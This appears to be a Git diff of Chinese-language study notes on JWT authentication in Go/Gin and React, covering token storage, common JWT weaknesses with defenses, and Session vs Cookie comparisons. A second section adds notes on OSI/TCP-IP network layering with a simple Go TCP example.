|
||||
func JWTAuthRequired() gin.HandlerFunc {
|
||||
return func(c *gin.Context) {
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
if authHeader == "" {
|
||||
c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "missing token"})
|
||||
return
|
||||
}
|
||||
|
||||
// 提取 Bearer prefix
|
||||
parts := strings.Split(authHeader, " ")
|
||||
if len(parts) != 2 || parts[0] != "Bearer" {
|
||||
c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "invalid format"})
|
||||
return
|
||||
}
|
||||
|
||||
token, err := ValidateToken(parts[1])
|
||||
if err != nil {
|
||||
c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "invalid token"})
|
||||
return
|
||||
}
|
||||
|
||||
// 存入 Context,供下游 handler 使用
|
||||
c.Set("userID", token.Claims.(jwt.MapClaims)["sub"])
|
||||
c.Next()
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### React:前端使用 JWT
|
||||
|
||||
```tsx
|
||||
import axios from 'axios';
|
||||
|
||||
const api = axios.create({
|
||||
baseURL: '/api',
|
||||
});
|
||||
|
||||
// 自动在请求头注入 Token
|
||||
api.interceptors.request.use((config) => {
|
||||
const token = localStorage.getItem('accessToken');
|
||||
if (token) {
|
||||
config.headers.Authorization = `Bearer ${token}`;
|
||||
}
|
||||
return config;
|
||||
});
|
||||
|
||||
// 统一处理 401,触发刷新或登出
|
||||
api.interceptors.response.use(
|
||||
(res) => res,
|
||||
async (err) => {
|
||||
if (err.response?.status === 401) {
|
||||
// 尝试刷新 Token
|
||||
const newToken = await refreshAccessToken();
|
||||
if (newToken) {
|
||||
localStorage.setItem('accessToken', newToken);
|
||||
err.config.headers.Authorization = `Bearer ${newToken}`;
|
||||
return api.request(err.config);
|
||||
}
|
||||
window.location.href = '/login'; // 重定向到登录页
|
||||
}
|
||||
return Promise.reject(err);
|
||||
},
|
||||
);
|
||||
```
|
||||
|
||||
> [!example] Token 存储方式对比
|
||||
>
|
||||
> | 存储位置 | XSS 防护 | CSRF 防护 | 后端可读 | 适用场景 |
|
||||
> |----------|----------|-----------|----------|----------|
|
||||
> | **localStorage** | ❌ 易被 XSS 读取 | ✅ 不自动发送 | ❌ 需手动设置 | SPA + 有 XSRF 防护 |
|
||||
> | **Memory** | ✅ 不被 XSS 直接读 | ❌ — | ❌ 需手动设置 | 高安全要求(刷新即丢失) |
|
||||
> | **HTTP-only Cookie** | ✅ 不被 JS 访问 | ⚠️ 需额外防护 | ✅ 自动发送 | 服务端渲染 / 传统 Web |
|
||||
|
||||
## 常见安全问题与防御
|
||||
|
||||
### 1. 算法降级攻击(Alg: None)
|
||||
|
||||
攻击者将 `alg` 改为 `none`,试图绕过验签:
|
||||
|
||||
```json
|
||||
{"alg": "none", "typ": "JWT"}
|
||||
```
|
||||
|
||||
**防御**:始终在白名单中指定允许的算法:
|
||||
```go
|
||||
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
|
||||
return nil, fmt.Errorf("unexpected signing method")
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 密钥泄露与弱密钥
|
||||
|
||||
使用硬编码或弱密钥会让攻击者轻易伪造令牌。
|
||||
|
||||
**防御**:
|
||||
- 密钥长度 ≥ 256 bit(HS256 要求至少 32 字节)
|
||||
- 通过环境变量或密钥管理服务(Vault、AWS KMS)注入
|
||||
- 定期轮换密钥
|
||||
|
||||
### 3. 过期时间设计不合理
|
||||
|
||||
过长的 `exp` 增加令牌泄露后的风险窗口;过短的 `exp` 又导致频繁刷新。
|
||||
|
||||
**建议**:
|
||||
- Access Token:5 ~ 30 分钟
|
||||
- Refresh Token:7 ~ 30 天
|
||||
- 配合黑名单机制实现主动注销(见下文)
|
||||
|
||||
### 4. 重放攻击
|
||||
|
||||
攻击者截取合法的 JWT 令牌后反复使用。
|
||||
|
||||
**防御**:
|
||||
- 短生命周期 Access Token
|
||||
- 添加 `jti`(JWT ID)唯一标识,配合黑名单做一次性校验
|
||||
- 在高价值操作中引入二次确认(如修改密码、支付)
|
||||
|
||||
## 进阶:Token 黑名单与撤销
|
||||
|
||||
JWT 的一个固有缺陷:**一旦签发,无法主动作废**(除非查询数据库)。在生产环境中,这意味著用户登出或密码修改后,已泄露的令牌仍可在过期前使用。
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph Issue["签发"]
|
||||
A["登录成功"] --> B["生成 JWT jti + exp + signed"]
|
||||
B --> C["返回给客户端"]
|
||||
end
|
||||
|
||||
subgraph Use["正常使用"]
|
||||
D["请求携带 JWT"] --> E["验签 + 查黑名单"]
|
||||
E -->|"未在册"| F["放行"]
|
||||
E -->|"已在册"| G["拒绝"]
|
||||
end
|
||||
|
||||
subgraph Revoke["撤销操作"]
|
||||
H["用户登出或改密"] --> I["将jti写入黑名单Redis"]
|
||||
I --> J["Set TTL = exp - iat"]
|
||||
end
|
||||
|
||||
C --> D
|
||||
H --> I
|
||||
```
|
||||
|
||||
Go 实现黑名单校验的关键逻辑:
|
||||
|
||||
```go
|
||||
func Blacklisted(ctx context.Context, jti string) bool {
|
||||
key := "jwt:blacklist:" + jti
|
||||
exists, _ := redis.Get(ctx, key).Result()
|
||||
return exists == "true"
|
||||
}
|
||||
|
||||
func InvalidateToken(ctx context.Context, jti string, ttl time.Duration) {
|
||||
redis.Set(ctx, "jwt:blacklist:"+jti, "true", ttl)
|
||||
}
|
||||
```
|
||||
|
||||
> [!tip] 替代方案:短期 Token + 版本控制
|
||||
> 为简化实现,可以给每个用户分配一个 `tokenVersion`(存在数据库中)。签发令牌时将版本号写入 `sub` 或自定义字段。用户登出时只递增版本号,所有旧版令牌在验签通过后对比数据库版本号即可识别为失效。无需维护黑名单集合。
|
||||
|
||||
## 什么是 Session?
|
||||
|
||||
理解 JWT 之前,有必要先搞清楚它要"替代"的对象——Session。
|
||||
|
||||
Session(会话)是一种**有状态**的认证机制。核心思路很朴素:客户端只存一把"钥匙"(`sessionId`),用户是谁、什么角色、登录了多久……**所有状态全部存在服务端**。
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant C as Client
|
||||
participant S as Server
|
||||
participant Store as Session Store
|
||||
|
||||
C->>S: 1. POST /login (username + password)
|
||||
S->>S: "2. 校验通过 生成 sessionId"
|
||||
S->>Store: "3. 存储 sessionId 到用户数据的映射"
|
||||
S-->>C: 4. Set-Cookie: sessionId=abc123
|
||||
Note over C: "浏览器自动保存这个 Cookie"
|
||||
C->>S: "5. 后续请求自动带 Cookie: sessionId=abc123"
|
||||
S->>Store: "6. 查 Store: abc123 对应谁"
|
||||
Store-->>S: "7. 返回用户信息"
|
||||
S-->>C: "8. 返回业务数据"
|
||||
```
|
||||
|
||||
> [!question] Session 每次请求都要查 Store,性能会不会很差?
|
||||
> 单次查询开销很小(尤其是 Redis 这类内存数据库,微秒级)。真正的瓶颈在于**水平扩展**——当服务器从 1 台扩到 10 台,每台都要能访问同一份 Session 数据,这就必须引入 Redis 等共享存储,架构复杂度随之上升。这也正是 JWT "无状态"优势凸显的地方。
|
||||
|
||||
**三个关键特征**:
|
||||
|
||||
| 特征 | 说明 |
|
||||
|------|------|
|
||||
| **客户端只存 ID** | 浏览器通过 Cookie 自动携带 `sessionId`,它本身不含任何业务信息,只是一把钥匙 |
|
||||
| **服务端存全部状态** | 用户身份、角色、权限等全部保存在服务端的 Session Store(内存 / Redis / 数据库) |
|
||||
| **每次请求需查库** | 服务端收到 `sessionId` 后,必须去 Store 查询,才能识别"这个请求是谁发的" |
|
||||
|
||||
> [!tip] 一句话类比
|
||||
> Session 像**存包柜**——你拿着号牌走人,东西存在柜子里;JWT 像**护照**——所有信息都写在证件本身。前者靠柜子(服务端存储)管状态,后者靠证件本身(令牌签名)证明身份。
|
||||
|
||||
### Session vs JWT:选型决策
|
||||
|
||||
| 维度 | Session | JWT |
|
||||
|------|---------|-----|
|
||||
| 服务端存储 | 需要(内存/Redis) | 不需要(仅验签) |
|
||||
| 实时注销 | ✅ 立即可效 | ❌ 需黑名单或短轮询 |
|
||||
| 跨域支持 | 依赖 Cookie,需处理 CORS | 任意头,天然跨域 |
|
||||
| 可扩展性 | 受限于共享存储 | 天然无状态,易于水平扩展 |
|
||||
| 令牌体积 | 极小(仅 sessionId) | 较大(含 payload) |
|
||||
| 客户端操控 | ❌ 不可见 | ✅ 可解码(但不可篡改) |
|
||||
|
||||
> [!info] 如何选型?
|
||||
>
|
||||
> - **单体应用 / 传统 MVC** → Session(简单可靠,原生支持好)
|
||||
> - **微服务 / 前后端分离 / 移动端** → JWT(无状态,多服务共享密钥即可)
|
||||
> - **混合模式** → JWT 作为内部服务间通信凭证,外部入口仍可搭配 Session
|
||||
|
||||
## JWT vs Cookie:常见误区
|
||||
|
||||
> [!question] JWT 和 Cookie 是对立的吗?
|
||||
> 不是!它们根本不在同一层——**JWT 是令牌格式(数据结构),Cookie 是存储/传输机制(浏览器行为)**。两者完全可以组合使用。
|
||||
|
||||
| 维度 | JWT | Cookie |
|
||||
|------|-----|--------|
|
||||
| 本质 | 令牌格式(数据载体) | 存储与传输机制(浏览器行为) |
|
||||
| 存储位置 | localStorage / Memory / Cookie 均可 | 浏览器自动管理 |
|
||||
| 自动发送 | ❌ 需手动设置 `Authorization` 头 | ✅ 浏览器每次请求自动携带 |
|
||||
| 跨域 | ✅ 天然支持(手动设头即可) | ⚠️ 受 SameSite / Domain 策略限制 |
|
||||
| XSS 防护 | 存 localStorage 时易被 JS 读取 | HTTP-only Cookie 无法被 JS 访问 |
|
||||
| CSRF 防护 | ✅ 不自动发送,天然免疫 | ⚠️ 自动发送,需额外 CSRF Token |
|
||||
| 大小限制 | 无硬限制(建议精简) | 单个约 4KB |
|
||||
| 数据可见性 | Base64 可解码(但签名防篡改) | 明文存储(除非加密) |
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A["JWT 是什么?"] --> B["令牌格式 — 数据结构"]
|
||||
C["Cookie 是什么?"] --> D["传输机制 — 浏览器行为"]
|
||||
|
||||
B --> E["存在哪里?"]
|
||||
E --> F["localStorage"]
|
||||
E --> G["Cookie (HTTP-only)"]
|
||||
E --> H["Memory (JS 变量)"]
|
||||
|
||||
D --> I["自动随请求发送"]
|
||||
I --> J["SameSite 限制"]
|
||||
I --> K["Domain/Path 限制"]
|
||||
|
||||
style A fill:#e8f4f8
|
||||
style C fill:#fde8e8
|
||||
```
|
||||
|
||||
> [!tip] 生产环境的常见组合策略
|
||||
> - **SPA 前后端分离** → JWT 存 localStorage,手动注入 `Authorization` 头
|
||||
> - **需要兼顾安全** → JWT 存 HTTP-only Cookie,既防 XSS 又自动传输
|
||||
> - **最佳实践** → Access Token 用 JWT + `Authorization` 头(短期),Refresh Token 用 HTTP-only Cookie(长期)
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[JWT vs Cookie]] — JWT 与 Cookie 认证方案全景对比
|
||||
- [[hzh/GIN/3-middleware/jwt-auth-qa]] — JWT 中间件中 Context 数据安全分析
|
||||
- [[hzh/GIN/3-middleware]] — Gin 中间件完整机制
|
||||
- [[hzh/DEV/跨域问题调试]] — CORS 配置与跨域场景
|
||||
@@ -103,6 +103,26 @@ flowchart TD
|
||||
style P fill:#B0C4DE
|
||||
```
|
||||
|
||||
> [!QUESTION] 为什么是五层,不是三层或八层?
|
||||
> 分层的本质是**职责分离**——每一层只关心自己该做的事,通过标准接口向上层提供服务。层数太少(如三层)会导致单层职责过重,排查问题困难;层数太多则引入不必要的抽象开销。五层是一个兼顾教学清晰度和工程实用性的"甜蜜点"。
|
||||
|
||||
### 三层模型横向对比
|
||||
|
||||
下面的表格将三种模型放在同一张表里,方便你快速查清某一层在不同模型中的对应关系:
|
||||
|
||||
| 功能域 | OSI 层 | 五层模型 | TCP/IP 层 | 典型协议/技术 | 封装单元 |
|
||||
|--------|--------|----------|-----------|---------------|----------|
|
||||
| 应用逻辑 | 7 应用层 | 应用层 | 应用层 | HTTP, DNS, SMTP, SSH | Data |
|
||||
| 数据表示 | 6 表示层 | ↗ | ↗ | TLS/SSL, JPEG, ASN.1 | Data |
|
||||
| 会话管理 | 5 会话层 | ↗ | ↗ | NetBIOS, RTP, SIP | Data |
|
||||
| 端到端传输 | 4 传输层 | 传输层 | 传输层 | TCP, UDP, SCTP | Segment |
|
||||
| 路由寻址 | 3 网络层 | 网络层 | 网络层 | IP, ICMP, ARP | Packet |
|
||||
| 帧传输 | 2 数据链路层 | 链路层 | 网络接口层 | Ethernet, Wi-Fi, PPP | Frame |
|
||||
| 物理信号 | 1 物理层 | ↗ | ↗ | 光纤, 双绞线, 无线电 | Bit |
|
||||
|
||||
> [!tip] ↗ 符号的含义
|
||||
> 上表中 ↗ 表示"向上合并"——五层模型把 OSI 的表示层、会话层并入应用层;TCP/IP 模型进一步把数据链路层、物理层合并为网络接口层。**合并不等于消除**,这些功能仍然存在,只是不再单独成层。
|
||||
|
||||
## 数据包逐层穿越过程
|
||||
|
||||
以你发送一封电子邮件为例:
|
||||
@@ -132,6 +152,46 @@ sequenceDiagram
|
||||
> [!tip] 封装 = 套娃;解封装 = 剥壳
|
||||
> 每一层只知道自己那一层的 header 是什么格式,对其他层的内容一无所知。这就是**层间透明**原则。
|
||||
|
||||
> [!QUESTION] 如果每一层都要加头部,开销岂不是很大?
|
||||
> 没错。一个 1 字节的应用层数据,经过 TCP/IP/以太网三层封装后,可能膨胀到 50+ 字节(TCP 头 20B + IP 头 20B + 以太网帧头帧尾 18B)。这就是为什么对小数据量、低延迟场景,业界会选择 **UDP**(头部仅 8 字节)甚至 **QUIC**(合并传输层与加密层)来减少开销。
|
||||
|
||||
## 分层在代码中的体现
|
||||
|
||||
理解分层模型,不只是为了面试,它直接影响你在编程中需要关心什么、不需要关心什么:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// 传输层:你只需告诉 OS "用 TCP 连这个地址"
|
||||
// IP 路由、以太网帧封装、物理信号 —— 全部由内核和网卡处理
|
||||
conn, err := net.Dial("tcp", "example.com:80")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 应用层:你手动构造 HTTP 请求(Data 层的内容)
|
||||
request := "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
|
||||
conn.Write([]byte(request))
|
||||
|
||||
// 读取应用层响应 —— 下面的 Segment/Packet/Frame 已被内核剥壳
|
||||
buf := make([]byte, 4096)
|
||||
n, _ := conn.Read(buf)
|
||||
fmt.Println(string(buf[:n]))
|
||||
}
|
||||
```
|
||||
|
||||
这段代码里,程序员只和**应用层**(HTTP 报文)与**传输层**(`Dial("tcp", ...)`)打交道。网络层以下的路由、帧封装、电信号转换完全由操作系统和硬件代劳——这就是分层带来的**抽象红利**。
|
||||
|
||||
> [!QUESTION] 如果没有分层会怎样?
|
||||
> 想象一下:每次发 HTTP 请求,你都要手动计算 IP 校验和、填写 MAC 地址、调制电信号……代码量和出错率会指数级上升。分层让我们可以**只关注自己那一层**,其余的交给下层实现。
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/NETWORK/02-以太网帧结构]] — 链路层帧的详细结构
|
||||
|
||||
Reference in New Issue
Block a user